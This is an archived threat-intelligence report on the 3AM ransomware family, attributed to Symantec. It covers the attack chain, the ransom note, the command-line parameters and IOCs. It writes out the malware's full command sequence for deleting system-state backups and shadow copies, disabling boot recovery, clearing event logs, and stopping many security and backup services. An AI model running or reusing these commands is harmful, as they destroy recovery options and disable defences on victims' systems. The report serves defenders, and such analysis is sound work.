3AM: New Ransomware Family Used As Fallback in Failed LockBit Attack

By About the Author

Archived: 2026-04-05 13:32:40 UTC

A new ransomware family calling itself 3AM has emerged. To date, the ransomware has only been used in a limited fashion. Symantec's Threat Hunter Team, part of Broadcom, has seen it used in a single attack by a ransomware affiliate that attempted to deploy LockBit on a target's network and then switched to 3AM when LockBit was blocked.

3AM is written in Rust and appears to be a completely new malware family. The ransomware attempts to stop multiple services on the infected computer before it begins encrypting files. Once encryption is complete, it attempts to delete Volume Shadow (VSS) copies. It is still unclear whether its authors have any links to known cybercrime organizations.

Attack Preparation

The first suspicious activity from the threat actor involved the use of the gpresult command to dump the policy settings enforced on the computer for a specified user. The attacker also executed various Cobalt Strike components and tried to escalate privileges on the computer using PsExec.

The attackers then ran reconnaissance commands such as whoami, netstat, quser, and net share, and tried to enumerate other servers for lateral movement with the quser and net view commands. They also added a new user for persistence and used the Wput tool to exfiltrate the victims' files to their own FTP server.

The attackers first attempted to use the LockBit ransomware but when that was blocked, they resorted to 3AM instead. The use of 3AM was only partially successful. The attackers only managed to deploy it to three machines on the organization's network and it was blocked on two of those three computers.

3AM Analysis

3AM is so-called because it appends encrypted files with the extension .threeamtime. The ransom note also makes reference to 3AM:

Hello. "3 am" The time of mysticism, isn't it?

All your files are mysteriously encrypted, and the systems "show no signs of life", the backups disappeared. But we can correct this very quickly and return all your files and operation of the systems to original state.

All your attempts to restore data by himself will definitely lead to their damage and the impossibility of recovery. We are not recommended to you to do it on our own!!! (or do at your own peril and risk).

There is another important point: we stole a fairly large amount of sensitive data from your local network: financial documents; personal information of your employees, customers, partners; work documentation, postal correspondence and much more.

We prefer to keep it secret, we have no goal to destroy your business. Therefore can be no leakage on our part.

We propose to reach an agreement and conclude a deal.

Otherwise, your data will be sold to DarkNet/DarkWeb. One can only guess how they will be used.

Please contact us as soon as possible, using Tor-browser:

http://threeam7[REDACTED].onion/recovery

Access key:

[32 CHARS SPECIFIED BY -k COMMAND LINE PARAMETER]

The ransomware is a 64-bit executable written in Rust and it recognises the following command-line parameters:

- "-k" – 32 Base64 characters, referred to as "Access key" in the ransom note
- "-p" – Unknown
- "-h" – Unknown
- "-m" – Method, where the code checks one of two values before running encryption logic:
    - "local"
    - "net"
- "-s" – determines offsets within files for encryption to control encryption speed. This is expressed in the form of decimal digits.

The command-line parameters "-m" and "-h" are mutually exclusive. The usage of the “-h” and “-m” parameters and its values “local” and “net” are very similar to arguments used by Conti.

When the malware is executed, it attempts to run the following commands, most of which attempt to stop various security and backup related software:

"netsh.exe" advfirewall firewall set rule "group=”Network Discovery”" new enable=Yes

"wbadmin.exe" delete systemstatebackup -keepVersions:0 -quiet

"wbadmin.exe" DELETE SYSTEMSTATEBACKUP

"wbadmin.exe" DELETE SYSTEMSTATEBACKUP -deleteOldest

"bcdedit.exe" /set {default} recoveryenabled No

"bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures

"wmic.exe" SHADOWCOPY DELETE /nointeractive

"cmd.exe" /c wevtutil cl security

"cmd.exe" /c wevtutil cl system

"cmd.exe" /c wevtutil cl application

"net" stop /y vmcomp

"net" stop /y vmwp

"net" stop /y veeam

"net" stop /y Back

"net" stop /y xchange

"net" stop /y backup

"net" stop /y Backup

"net" stop /y acronis

"net" stop /y AcronisAgent

"net" stop /y AcrSch2Svc

"net" stop /y sql

"net" stop /y Enterprise

"net" stop /y Veeam

"net" stop /y VeeamTransportSvc

"net" stop /y VeeamNFSSvc

"net" stop /y AcrSch

"net" stop /y bedbg

"net" stop /y DCAgent

"net" stop /y EPSecurity

"net" stop /y EPUpdate

"net" stop /y Eraser

"net" stop /y EsgShKernel

"net" stop /y FA_Scheduler

"net" stop /y IISAdmin

"net" stop /y IMAP4

"net" stop /y MBAM

"net" stop /y Endpoint

"net" stop /y Afee

"net" stop /y McShield

"net" stop /y task

"net" stop /y mfemms

"net" stop /y mfevtp

"net" stop /y mms

"net" stop /y MsDts

"net" stop /y Exchange

"net" stop /y ntrt

"net" stop /y PDVF

"net" stop /y POP3

"net" stop /y Report

"net" stop /y RESvc

"net" stop /y Monitor

"net" stop /y Smcinst

"net" stop /y SmcService

"net" stop /y SMTP

"net" stop /y SNAC

"net" stop /y swi_

"net" stop /y CCSF

"net" stop /y ccEvtMgr

"net" stop /y ccSetMgr

"net" stop /y TrueKey

"net" stop /y tmlisten

"net" stop /y UIODetect

"net" stop /y W3S

"net" stop /y WRSVC

"net" stop /y NetMsmq

"net" stop /y ekrn

"net" stop /y EhttpSrv

"net" stop /y ESHASRV

"net" stop /y AVP

"net" stop /y klnagent

"net" stop /y wbengine

"net" stop /y KAVF

"net" stop /y mfefire

"net" stop /y svc$

"net" stop /y memtas

"net" stop /y mepocs

"net" stop /y GxVss

"net" stop /y GxCVD

"net" stop /y GxBlr

"net" stop /y GxFWD

"net" stop /y GxCIMgr

"net" stop /y BackupExecVSSProvider

"net" stop /y BackupExecManagementService

"net" stop /y BackupExecJobEngine

"net" stop /y BackupExecDiveciMediaService

"net" stop /y BackupExecAgentBrowser

"net" stop /y BackupExecAgentAccelerator

"net" stop /y vss

"net" stop /y BacupExecRPCService

"net" stop /y CASAD2WebSvc

"net" stop /y CAARCUpdateSvc

"net" stop /y YooBackup

"net" stop /y YooIT

The ransomware will then scan the disk and any files matching predefined criteria are encrypted and the original files are deleted. The malware will then create the file "RECOVER-FILES.txt" in each scanned folder. This file contains the ransom note.

The encrypted files contain a marker string "0x666" followed by the data appended by the ransomware.

After encryption, the malware attempts to run the following command to delete volume shadow backup copies:

vssadmin.exe delete shadows /all /quiet

Warning Signs

Ransomware affiliates have become increasingly independent from ransomware operators and this is not the first time Symantec has seen an attacker attempt to deploy two different kinds of ransomware in a single attack.

New ransomware families appear frequently and most disappear just as quickly or never manage to gain significant traction. However, the fact that 3AM was used as a fallback by a LockBit affiliate suggests that it may be of interest to attackers and could be seen again in the future.

Protection/Mitigation

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

SHA256 file hashes:

079b99f6601f0f6258f4220438de4e175eb4853649c2d34ada72cce6b1702e22 – LockBit

307a1217aac33c4b7a9cd923162439c19483e952c2ceb15aa82a98b46ff8942e – 3AM

680677e14e50f526cced739890ed02fc01da275f9db59482d96b96fbc092d2f4 – Cobalt Strike

991ee9548b55e5c815cc877af970542312cff79b3ba01a04a469b645c5d880af – Cobalt Strike

ecbdb9cb442a2c712c6fb8aee0ae68758bc79fa064251bab53b62f9e7156febc – Cobalt Strike

Network indicators:

185.202.0[.]111

212.18.104[.]6

85.159.229[.]62
